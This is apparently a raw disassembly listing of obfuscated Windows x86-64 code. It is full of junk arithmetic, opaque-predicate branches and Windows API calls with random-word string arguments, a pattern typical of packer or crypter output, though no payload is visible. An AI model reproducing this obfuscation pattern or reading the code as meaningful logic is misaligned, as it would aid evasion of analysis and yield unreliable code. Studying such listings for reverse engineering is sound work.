mov word [rsp + 0xf0c], ax
mov eax, 0x2fa6
mov word [rsp + 0xf10], ax
mov dword [rsp + 0x36e0], 0xf8956ab9
mov eax, 0x7045
mov word [rsp + 0xf14], ax
mov eax, 0x67c3
mov word [rsp + 0xf18], ax
mov byte [rsp + 0x15b], 0xe8
mov byte [rsp + 0x15c], 0x4d
movabs rax, 0x2c35b24640a43bda
mov qword [rsp + 0x6680], rax
mov dword [rsp + 0x36e4], 0xdd985912
mov eax, 0xb3a
mov word [rsp + 0xf1c], ax
mov dword [rsp + 0x36e8], 0xa7b8e89
movabs rax, 0x3a7ff29d6c50f303
mov qword [rsp + 0x6688], rax
mov dword [rsp + 0x36ec], 0x93409f68
mov byte [rsp + 0x15d], 4
mov eax, 0x20c
mov word [rsp + 0xf20], ax
mov dword [rsp + 0x36f0], 0xbfaf6362
mov byte [rsp + 0x15e], 0x15
mov dword [rsp + 0x36f4], 0x6da44d0a
mov byte [rsp + 0x15f], 0x69
mov byte [rsp + 0x160], 0x9f
movabs rax, 0xdcec23180272dc16
mov qword [rsp + 0x6690], rax
mov byte [rsp + 0x161], 6
movabs rax, 0x3e0b990f0af65064
mov qword [rsp + 0x6698], rax
mov eax, 0x1db
mov word [rsp + 0xf24], ax
movabs rax, 0x806ca7240d7b7d37
mov qword [rsp + 0x66a0], rax
mov eax, 0xc3b
mov word [rsp + 0xf28], ax
mov eax, 0x7d1b
mov word [rsp + 0xf2c], ax
mov byte [rsp + 0x162], 0x67
movabs rax, 0xff20c4552971a8d9
mov qword [rsp + 0x66a8], rax
movabs rax, 0x4ed7556fd58d1039
mov qword [rsp + 0x66b0], rax
mov dword [rsp + 0x36f8], 0x20e39e64
movabs rax, 0x48d2bdf3ede61f52
mov qword [rsp + 0x66b8], rax
mov dword [rsp + 0x36fc], 0xea43acf
mov eax, 0x52d7
mov word [rsp + 0xf30], ax
movabs rax, 0x8b428f251a31536
mov qword [rsp + 0x66c0], rax
mov dword [rsp + 0x3700], 0x822f7826
mov byte [rsp + 0x163], 0x89
mov byte [rsp + 0x164], 0x79
mov dword [rsp + 0x3704], 0xd0b2cc32
mov dword [rsp + 0x3708], 0x5e798b93
mov dword [rsp + 0x370c], 0x2decec07
mov eax, 0x5c51
mov word [rsp + 0xf34], ax
mov eax, 0x61d3
mov word [rsp + 0xf38], ax
mov byte [rsp + 0x165], 0x1e
movabs rax, 0x393cbc7d56f71b03
mov qword [rsp + 0x66c8], rax
mov eax, 0xd3
mov word [rsp + 0xf3c], ax
mov byte [rsp + 0x166], 0x5d
mov dword [rsp + 0x3710], 0x4e458b60
movabs rax, 0x176b35acc365889b
mov qword [rsp + 0x66d0], rax
mov eax, 0x3b15
mov word [rsp + 0xf40], ax
mov eax, 0x590d
mov word [rsp + 0xf44], ax
mov dword [rsp + 0x3714], 0xb54092c
mov dword [rsp + 0x3718], 0x7b2a346f
mov byte [rsp + 0x167], 3
mov eax, 0xa48
mov word [rsp + 0xf48], ax
mov eax, 0xd34
mov word [rsp + 0xf4c], ax
mov byte [rsp + 0x168], 0xd9
movabs rax, 0x6a4cc12059a16f7d
mov qword [rsp + 0x66d8], rax
mov dword [rsp + 0x371c], 0x54dcb9b4
mov dword [rsp + 0x3720], 0x53df357c
mov dword [rsp + 0x3724], 0xe6dde68f
mov byte [rsp + 0x169], 0x3b
mov eax, 0x431
mov word [rsp + 0xf50], ax
mov byte [rsp + 0x16a], 0x58
mov byte [rsp + 0x16b], 0x2c
mov byte [rsp + 0x16c], 0xb1
mov byte [rsp + 0x16d], DrawInsert
mov byte [rsp + 0x16e], 0xd8
mov eax, 0xe86
mov word [rsp + 0xf54], ax
mov eax, 0x585
mov word [rsp + 0xf58], ax
movabs rax, 0x36307808a59be70a
mov qword [rsp + 0x66e0], rax
mov eax, 0x209c
mov word [rsp + 0xf5c], ax
mov eax, 0xd12
mov word [rsp + 0xf60], ax
mov dword [rsp + 0x3728], 0x87e1
movzx eax, word [rsp + 0xf60]
mov dword [rsp + 0x372c], eax
cmp dword [rsp + 0x372c], 0xd12
je 0x1400563ef
cmp dword [rsp + 0x372c], 0xfdf
je 0x1401fdf51
jmp 0x1401fdfcf
movzx eax, word [rsp + 0xf60]
mov dword [rsp + 0x3730], eax
cmp dword [rsp + 0x3730], 0x549
je 0x14005641d
cmp dword [rsp + 0x3730], 0xb43
je 0x140056488
jmp 0x1400564b6
movzx eax, word [rsp + 0xf60]
mov dword [rsp + 0x3734], eax
cmp dword [rsp + 0x3734], 0x63b
je 0x140056471
cmp dword [rsp + 0x3734], 0x649
je 0x140056448
jmp 0x140056486
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x3738], eax
lea rdx, [rsp + 0x296e0]
mov ecx, 0xe8
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov dword [rsp + 0x373c], eax
jmp 0x140056486
movzx eax, word [rsp + 0xf60]
sub eax, 0xd65
mov word [rsp + 0xf60], ax
jmp 0x1400564b6
mov eax, dword [rsp + 0x3738]
mov dword [rsp + 0x373c], eax
lea r8, str.Existences_supplied_Fluent_Grief_rivetingly
lea rdx, str.Prevented_schemas
mov ecx, 0x76
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
mov dword [rsp + 0x3740], eax
movzx eax, word [rsp + 0xf60]
cmp eax, 0x29d
je 0x1401fdec3
movzx eax, word [rsp + 0xf60]
mov dword [rsp + 0x3744], eax
cmp dword [rsp + 0x3744], 0x387
je 0x1400564f4
cmp dword [rsp + 0x3744], 0x418
je 0x140056501
jmp 0x140056551
mov ecx, 0x47
call fcn.1401fe800
nop
jmp 0x140056551
movzx eax, word [rsp + 0xf60]
shl eax, 9
mov word [rsp + 0xf60], ax
lea rdx, [rsp + 0x296e0]
lea rcx, [fcn.1401fe2d0]
call qword [sym.imp.KERNEL32.dll_GetLogicalProcessorInformation]
mov dword [rsp + 0x3748], eax
mov qword [rsp + 0x20], 0x90
mov r9d, 0x58
mov r8b, 0x21
mov edx, 0x3a
mov cx, 0x77
call fcn.1401fe2d0
nop
mov dword [rsp + 0x374c], 0x624e
mov dword [rsp + 0x3750], 0x8fec
mov eax, dword [rsp + 0x373c]
mov dword [rsp + 0x3754], eax
cmp dword [rsp + 0x3754], 0
je 0x1400565e3
cmp dword [rsp + 0x3754], 0x47c356dd
je 0x140056591
jmp 0x140056631
mov dword [rsp + 0x28], 0x6c
lea rax, [rsp + 0x29830]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x28e40]
lea r8, str.Characters_Magneto_Adverts
mov edx, 0xe9
mov ecx, 0x81
call qword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
mov dword [rsp + 0x3758], eax
movzx eax, word [rsp + 0xf60]
or eax, 0x5b5
mov word [rsp + 0xf60], ax
jmp 0x140056631
movabs rax, 0xb9844892d1cda45f
mov rcx, qword [0x14024a008]
sub rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
lea rax, [rsp + 0x3758]
mov qword [rsp + 0x66e8], rax
movabs rax, 0x7591347d1440a916
mov rcx, qword [rsp + 0x6140]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov eax, dword [rsp + 0x3738]
and eax, 0xf2db004e
cmp eax, dword [rsp + 0x373c]
je 0x14005665a
mov edx, dword [rsp + 0x373c]
mov ecx, dword [rsp + 0x3738]
call fcn.1401fe5a0
nop
mov eax, dword [rsp + 0x3758]
sub eax, 0x5e12a80a
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
mov dword [rsp + 0x3758], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
add eax, 0x38f0e8a5
mov dword [rsp + 0x3758], eax
mov eax, dword [rsp + 0x3758]
add eax, 0x8937f19
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
sub eax, 0x32f5ca83
mov dword [rsp + 0x3758], eax
movabs rax, 0xce899c17163fc574
mov rcx, qword [0x14024a008]
xor rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
mov eax, dword [rsp + 0x3758]
mov rcx, qword [rsp + 0x66e8]
mov qword [rsp + 0x66f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x66f0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3758]
or eax, 0x705c5458
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3758]
mov rcx, qword [rsp + 0x66e8]
mov qword [rsp + 0x66f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x66f8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf60]
and eax, 0x283
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf60]
sub eax, 0xf0a
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
add eax, 0x2996bf5c
mov dword [rsp + 0x3758], eax
mov eax, dword [rsp + 0x374c]
add eax, 0x80
mov dword [rsp + 0x374c], eax
mov eax, dword [rsp + 0x3758]
sub eax, 0x7dc718d4
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3758]
and eax, 0x39d96955
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
sub eax, 0x10a46567
mov dword [rsp + 0x3758], eax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf60]
add eax, 0x1f0
mov word [rsp + 0xf60], ax
cmp dword [rsp + 0x374c], 0x74ce
jne 0x14005665a
movzx eax, word [rsp + 0xf60]
mov dword [rsp + 0x375c], eax
cmp dword [rsp + 0x375c], 0xef
je 0x14005699a
cmp dword [rsp + 0x375c], 0xe51
je 0x14005689b
jmp 0x1400569ba
mov eax, dword [rsp + 0x3758]
mov rcx, qword [rsp + 0x66e8]
mov qword [rsp + 0x6700], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6700]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3758]
xor eax, 0x2a206cf5
mov rcx, qword [rsp + 0x66e8]
cmp eax, dword [rcx]
jl 0x14005697b
movzx eax, word [rsp + 0xf60]
or eax, 0xd1f
mov word [rsp + 0xf60], ax
lea r8, [rsp + 0x3760]
mov edx, 0x8a
lea rcx, str.Grumbling_biddings
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov dword [rsp + 0x3760], eax
mov eax, dword [rsp + 0x3758]
shl eax, 0x1e
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movabs rax, 0x49936b185a1fcffd
mov rcx, qword [rsp + 0x6140]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [0x14024a008]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x3758]
mov r8b, 0x8e
mov rdx, qword [0x14024a008]
mov cx, 0x86
call fcn.1401fe2d0
nop
jmp 0x140056998
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
jmp 0x1400569ba
mov r8d, 1
mov edx, 0xe9
mov rcx, qword [rsp + 0x6708]
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov dword [rsp + 0x3764], eax
mov dword [rsp + 0x3768], 0x4219
movzx eax, word [rsp + 0xf60]
mov dword [rsp + 0x376c], eax
cmp dword [rsp + 0x376c], 0x820
je 0x1400569e3
jmp 0x140056a27
movzx eax, word [rsp + 0xf60]
add eax, 0x926
mov word [rsp + 0xf60], ax
mov eax, dword [rsp + 0x3758]
add eax, 0x4a6b823b
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov edx, dword [rsp + 0x373c]
mov ecx, dword [rsp + 0x3738]
call fcn.1401fe5a0
nop
jmp 0x1401fde5a
mov eax, dword [rsp + 0x3764]
mov dword [rsp + 0x3770], eax
cmp dword [rsp + 0x3770], 0xa1d37a3d
je 0x140056a58
cmp dword [rsp + 0x3770], 0xc5ea1373
je 0x140056adc
jmp 0x140056b27
lea rax, [rsp + 0x6710]
mov qword [rsp + 0x20], rax
mov r9d, 0x9e
mov r8d, 0x65
mov edx, reloc.COMCTL32.dll_LBItemFromPt
mov rcx, qword [rsp + 0x6718]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x3760], eax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf60]
sub eax, 0xc3a
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
jmp 0x140056b27
lea r8, str.overdose_dispersion
lea rdx, str.teapots_verminous_disobeyed_legalising_expository
mov ecx, 0xfd
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
mov dword [rsp + 0x3760], eax
mov rax, qword [0x14024a008]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x66e8]
mov r9d, dword [rax]
mov r8b, 0x2d
mov rdx, qword [0x14024a008]
mov cx, 0x55
call fcn.1401fe2d0
nop
cmp dword [rsp + 0x3768], 0x635c
ja 0x140056e07
mov eax, dword [rsp + 0x3758]
sub eax, 0x20cf9eb
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
or eax, 0x9f6cfc5
mov dword [rsp + 0x3758], eax
mov eax, dword [rsp + 0x3758]
sar eax, 1
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf60]
shl eax, 0xe
mov word [rsp + 0xf60], ax
mov eax, dword [rsp + 0x3764]
mov dword [rsp + 0x3738], eax
movabs rax, 0x5a39dfa968ee226c
mov rcx, qword [rsp + 0x6140]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
movzx eax, word [rsp + 0xf60]
and eax, 0xdce
mov word [rsp + 0xf60], ax
mov eax, dword [rsp + 0x3764]
mov ecx, dword [rsp + 0x373c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3738], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
sub eax, 0x3d0ec327
mov dword [rsp + 0x3758], eax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
sub eax, 0x36c26863
mov dword [rsp + 0x3758], eax
mov eax, dword [rsp + 0x3758]
add eax, 0x28168b
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3738]
mov dword [rsp + 0x373c], eax
mov eax, dword [rsp + 0x3758]
sub eax, 0x296e25af
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
and eax, 0x5d368787
mov dword [rsp + 0x3758], eax
mov eax, dword [rsp + 0x3758]
sub eax, 0x3711e5e4
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf60]
or eax, 0x217
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
shl eax, 0x1b
mov dword [rsp + 0x3758], eax
mov eax, dword [rsp + 0x3758]
xor eax, 0x43719fcf
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
sar eax, 0xe
mov dword [rsp + 0x3758], eax
mov eax, dword [rsp + 0x3758]
add eax, 0x6c3f4296
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movabs rax, 0x6861dcdc133fcfef
mov rcx, qword [rsp + 0x6140]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
movzx eax, word [rsp + 0xf60]
sub eax, 0x852
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3758]
sub eax, 0x4729dc72
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3764]
mov ecx, dword [rsp + 0x373c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3738], eax
movabs rax, 0x253de3ec4a6af8ac
mov rcx, qword [rsp + 0x6140]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov eax, dword [rsp + 0x3768]
add eax, 0x83
mov dword [rsp + 0x3768], eax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
and eax, 0x65bbd118
mov dword [rsp + 0x3758], eax
jmp 0x140056b27
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
shl eax, 0x11
mov dword [rsp + 0x3758], eax
mov eax, dword [rsp + 0x3758]
or eax, 0x79f5b5c3
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x373c]
mov ecx, dword [rsp + 0x3764]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3738], eax
mov eax, dword [rsp + 0x3758]
mov rcx, qword [rsp + 0x66e8]
mov qword [rsp + 0x6720], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6720]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf60]
add eax, 0xf01
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
add eax, 0x3ac20e1a
mov dword [rsp + 0x3758], eax
movabs rax, 0x1106f601c9f5ac69
mov rcx, qword [rsp + 0x6140]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x373c]
mov dword [rsp + 0x3764], eax
mov eax, dword [rsp + 0x3758]
add eax, 0x30283c2c
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
sub eax, 0x43e31423
mov dword [rsp + 0x3758], eax
movzx eax, word [rsp + 0xf60]
add eax, 0xed5
mov word [rsp + 0xf60], ax
movzx eax, word [rsp + 0xf60]
sub eax, 0xe35
mov word [rsp + 0xf60], ax
movzx eax, word [rsp + 0xf60]
add eax, 0xce7
mov word [rsp + 0xf60], ax
mov eax, dword [rsp + 0x3758]
sub eax, 0x7bbcaefe
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3750]
add eax, 0x3b
mov dword [rsp + 0x3750], eax
mov rax, qword [0x14024a008]
shl rax, 0x1c
mov qword [0x14024a008], rax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3758]
sar eax, 0x19
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf60]
and eax, 0x7c9
mov word [rsp + 0xf60], ax
movzx eax, word [rsp + 0xf60]
add eax, 0x9c2
mov word [rsp + 0xf60], ax
movzx eax, word [rsp + 0xf60]
add eax, 0x93
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3758]
sub eax, 0x11f876dd
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movabs rax, 0x25e85c69c0ea92ad
mov rcx, qword [0x14024a008]
add rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
mov eax, dword [rsp + 0x3758]
sub eax, 0x79a1bbd4
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3758]
sub eax, 0x1d2aa11a
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3758]
mov rcx, qword [rsp + 0x66e8]
mov qword [rsp + 0x6728], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6728]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6140]
shl rax, 0x25
mov qword [rsp + 0x6140], rax
mov eax, dword [rsp + 0x3764]
mov ecx, dword [rsp + 0x3738]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x373c], eax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3758]
and eax, 0x47951373
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movabs rax, 0x74cd0aae2543545d
mov rcx, qword [0x14024a008]
add rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
sub eax, 0x1776383
mov dword [rsp + 0x3758], eax
mov eax, dword [rsp + 0x3758]
add eax, 0x7ddd0565
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3764]
mov ecx, dword [rsp + 0x3738]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x373c], eax
mov rax, qword [rsp + 0x66e8]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
cmp dword [rsp + 0x3750], 0x9d4a
jb 0x140056e07
mov byte [rsp + 0x16f], 0x5c
mov dword [rsp + 0x3774], 0x9b48
mov rax, qword [rsp + 0x6140]
mov qword [rsp + 0x6730], rax
movabs rax, 0x2ea7e53b7cc47188
cmp qword [rsp + 0x6730], rax
je 0x140057235
jmp 0x14005730f
mov eax, dword [rsp + 0x3758]
mov dword [rsp + 0x3778], eax
cmp dword [rsp + 0x3778], 0x9e7fa85
je 0x140057252
jmp 0x1400572ca
movsx eax, byte [rsp + 0x16f]
cmp eax, 0x3d
jne 0x140057282
mov eax, dword [rsp + 0x3758]
add eax, 0x5237021f
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov dword [rsp + 0x373c], eax
movsx eax, byte [rsp + 0x16f]
sub eax, 0x6f
mov byte [rsp + 0x16f], al
mov eax, dword [rsp + 0x3758]
add eax, 0xa1c3493
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
movabs rax, 0x715ec6b7fc6b143e
mov rcx, qword [0x14024a008]
sub rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
jmp 0x14005730a
mov dword [rsp + 0x28], 0x1f
lea rax, [rsp + 0x3758]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xf60]
lea r8, [rsp + 0x3738]
lea rdx, str.anachronisticallyStatutesearthquake
lea rcx, str.remnant_swimmersmassproducedFitting
call qword [sym.imp.KERNEL32.dll_CopyFileExW]
mov dword [rsp + 0x3740], eax
jmp 0x1400573fd
mov eax, dword [rsp + 0x3758]
mov dword [rsp + 0x377c], eax
cmp dword [rsp + 0x377c], 0x59533772
je 0x14005737b
cmp dword [rsp + 0x377c], 0x7c65a1e2
je 0x14005733c
jmp 0x1400573fd
lea rax, [rsp + 0x3758]
mov qword [rsp + 0x6738], rax
mov eax, dword [rsp + 0x3764]
movzx ecx, al
mov eax, dword [rsp + 0x3738]
shr eax, cl
mov dword [rsp + 0x373c], eax
lea rax, [rsp + 0x16f]
mov qword [rsp + 0x6740], rax
jmp 0x1400573fd
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
mov dword [rsp + 0x3780], eax
cmp dword [rsp + 0x3780], 0x26d1cc86
je 0x1400573c9
cmp dword [rsp + 0x3780], 0x607ab666
je 0x1400573a8
jmp 0x1400573fd
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
shl eax, cl
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
jmp 0x1400573fd
movzx eax, word [rsp + 0xf60]
or eax, 0x493
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
xor eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov dword [rsp + 0x3784], 0x7f7c
mov eax, dword [rsp + 0x3758]
mov dword [rsp + 0x3788], eax
cmp dword [rsp + 0x3788], 0x536f6e50
je 0x140057425
jmp 0x14005745c
lea rdx, [rsp + 0x28d30]
lea rcx, [rsp + 0x28d40]
call qword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [rsp + 0x378c], eax
movsx eax, byte [rsp + 0x16f]
sub eax, 0x31
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
jmp 0x1401fdd98
cmp dword [rsp + 0x3728], 0x98f4
je 0x1400577b3
movzx eax, word [rsp + 0xf60]
sub eax, 0x126
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
and eax, 0x34
mov byte [rsp + 0x16f], al
movabs rax, 0x372191df6e84cd85
mov rcx, qword [rsp + 0x6140]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
movsx eax, byte [rsp + 0x16f]
add eax, 0x34
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x6738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3758]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6140]
shl rax, 0x14
mov qword [rsp + 0x6140], rax
mov eax, dword [rsp + 0x3728]
add eax, 0x5d
mov dword [rsp + 0x3728], eax
mov rax, qword [rsp + 0x66e8]
mov eax, dword [rax]
mov dword [rsp + 0x3790], eax
movsx eax, byte [rsp + 0x16f]
or eax, 0x3a
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movzx eax, word [rsp + 0xf60]
sar eax, 0xf
mov word [rsp + 0xf60], ax
movzx eax, word [rsp + 0xf60]
xor eax, 0xb04
mov word [rsp + 0xf60], ax
movsx eax, byte [rsp + 0x16f]
and eax, 0x6f
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
add eax, 0x63
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
sub eax, 0x78
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x6738]
mov rcx, qword [rsp + 0x66e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x16f]
sub eax, 0x66
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov eax, dword [rsp + 0x3790]
mov ecx, dword [rsp + 0x3758]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
mov eax, dword [rsp + 0x373c]
mov ecx, dword [rsp + 0x3738]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3764], eax
movzx eax, word [rsp + 0xf60]
and eax, 0x70c
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
